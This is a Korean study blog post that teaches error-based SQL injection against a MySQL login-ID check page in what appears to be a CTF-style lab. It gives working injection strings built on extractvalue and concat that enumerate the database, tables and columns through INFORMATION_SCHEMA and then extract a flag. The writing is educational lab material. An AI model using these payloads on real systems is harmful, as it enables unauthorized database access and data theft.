Error based SQL injection

gyub·2025년 5월 26일
0

모의해킹 스터디

목록 보기
14/31

오늘은 Error Based SQLi가 무엇인지 알아보겠습니다

‼️ Error Based SQLi
SQL 오류가 발생했을 때 화면에 SQL 오류가 출력 되는 경우,
이 에러 메세지에 SQL문 실행 결과가 포함되는 것을 이용해 SQL 질의문을 삽입하여 데이터를 추출하는 공격

예시를 통해 좀 더 확실히 알아볼까요?

아이디 중복 검사를 하는 페이지가 있습니다

이 페이지는 아이디를 입력하면 이미 존재하는 아이디인지, 그렇지 않은 아이디인지 알려줍니다

직접적으로 SQL 쿼리문 실행 결과를 페이지에 출력하는 것이 아니라,

실행 결과를 바탕으로 다른 문구를 출력해주는 페이지이기 때문에 UNION SQL Injection 을 활용하기는 어렵겠네요

그렇지만 이렇게 SQL 에러가 발생했을 때, 에러 메세지를 화면에 출력하고 있습니다

SQL 에러 중 이렇게 에러가 발생한 부분을 화면에 직접적으로 출력하는 부분도 있습니다

그럼 네모 친 부분에 SQL 쿼리를 작성하면 어떻게 될까요?

normaltic' and extractvalue('1', concat(0x3a, (select 'test'))) and '1'='1 를 검색하였더니

이런 결과가 나왔습니다

select 'test' 부분이 실행된 결과가 화면에 출력되어 나왔네요

이렇게 SQL 에러 메세지에 SQL문이 실행된 결과가 포함되어 나오는 경우를 활용해, 다른 데이터를 추출하는 공격이 Error Based SQL Injection 입니다


Error Based SQLi의 에러 조건

Error Based SQLi의 에러 조건은 아래와 같습니다

1️⃣ SQL 에러
2️⃣ 로직 에러

1️⃣ SQL 에러

우선 php 등 서버 측 코드가 실행되다가 발생하는 에러가 아닌, SQL문이 실핻되다가 발생하는 에러여야 한다
그래야 우리가 삽입한 SQL문의 결과가 포함된 에러메세지를 볼 수 있기 때문이다

2️⃣ 로직 에러

에러에는 로직 에러와 문법 에러가 있습니다

문법 에러 (ex. select 'normaltic )는 삽입한 SQL문이 실행되기 전에 발생하는 에러이기 때문에 우리가 원하는 결과를 받을 수 없으니,

문법적으로는 문제가 없되 논리적인 오류가 발생하도록 만들어 우리가 삽입한 SQL문이 실행된 이후에 에러메세지가 출력되도록 해야 합니다


로직 에러 유발 팁

SELECT 문의 실행 결과를 어떻게 에러메세지에 포함시킬 수 있을 지 고민해야하며, 이건 DB마다 다릅니다

MySQL의 경우 extractvalue 를 활용해 볼 수 있습니다


Error based SQL injection 단계

아이디 중복 페이지에서의 데이터 추출 문제를 간단히 풀어보며 Error based SQL injection의 단계를 알아보겠습니다

1️⃣ SQL Injection 포인트 찾기

SQL Injection이 가능한 곳인지 먼저 확인해 봅니다

존재하는 아이디만 정상적으로 검색했을 때와 and '1'='1 을 붙여 검색했을 때 모두 아이디가 존재한다고 나오는 것을 보아, SQL 인젝션이 가능한 곳 같습니다

그렇지만 SQL 결과 데이터가 직접적으로 출력되지는 않으니, Error가 발생했을 때 에러메세지가 출력되는 지 확인해봅니다

에러메세지가 출력되고 있네요

Error based SQL Injection을 사용할 수 있는 곳입니다

2️⃣ 에러 출력 함수

DB마다 에러를 출력하기 좋은 함수들은 다릅니다

이 문제는 MySQL이기 때문에 extractvalue 를 활용하겠습니다

❓ extractvalue 함수
XML 데이터 값을 반환해 주는 함수로, extractvalue(XML 형식 데이터, XPATH 표현식) 형태로 활용한다
XPATH에 해당하는 XML 데이터를 추출해준다

extractvalue 의 두번째 파라미터인 XPATH 표현식을 잘못 썼을 때 에러가 발생하는 점을 이용합니다

3️⃣ 공격 format 만들기

이제 공격 SQL 문을 집어넣을 수 있는 틀을 만듭니다

현재 서버에 작성되어 있는 쿼리문이

select * from member where id = '[입력값]' 이기 때문에

normaltic' and extractvalue('1', concat(0x3a,(_SQL문_))) and '1'='1 과 같은 포맷을 만듭니다

0x3a: 의 아스키코드 표현, concat 은 두 글자를 하나로 합쳐주는 함수로,

XPATH 오류를 위해 : 를 SQL문에 직접 붙여주면 SQL문이 실행될 수 없으니 concat으로 콜론을 붙여줍니다

4️⃣ DB 이름 찾기

DB 이름은 select database() 로 찾습니다

normaltic' and extractvalue('1', concat(0x3a,(select database()))) and '1'='1

미리 작성해둔 공격 포맷을 활용해 위 쿼리를 검색합니다

DB 이름은 errSqli 네요

5️⃣ table 이름 찾기

테이블 이름은 시스템 db를 이용해 SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=errSqli 로 찾습니다

역시나 공격 포맷에 넣으면

normaltic' and extractvalue('1', concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=errSqli))) and '1'='1 입니다

검색했더니 Subquery returns more than 1 row 라는 결과가 나오네요

limit 함수를 이용해 하나씩 결과를 보겠습니다

normaltic' and extractvalue('1', concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='errSqli' limit 0,1))) and '1'='1 의 결과는 flagTable 입니다

normaltic' and extractvalue('1', concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='errSqli' limit 1,1))) and '1'='1 의 결과는 member 입니다

normaltic' and extractvalue('1', concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='errSqli' limit 2,1))) and '1'='1 의 결과는 plusFlag_Table 입니다

6️⃣ column 이름 찾기

컬럼 이름은 SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[해당 테이블명]' 이렇게 찾습니다

flagTable에 원하는 flag가 있을 가능성이 가장 커보이니 이 테이블의 컬럼을 살펴보겠습니다

normaltic' and extractvalue('1', concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable' limit 0,1))) and '1'='1 의 결과는 idx 입니다

normaltic' and extractvalue('1', concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flagTable' limit 1,1))) and '1'='1 의 결과는 flag 입니다

7️⃣ 데이터 추출하기

그럼 테이블 명과 컬럼 명을 모두 알았으니 이걸 이용해 데이터를 추출해보겠습니다

normaltic' and extractvalue('1', concat(0x3a,(select flag from flagTable))) and '1'='1

플래그가 등장했습니다


이렇게 Error based SQL Injection과 그 방법에 대해 알아보았습니다

0개의 댓글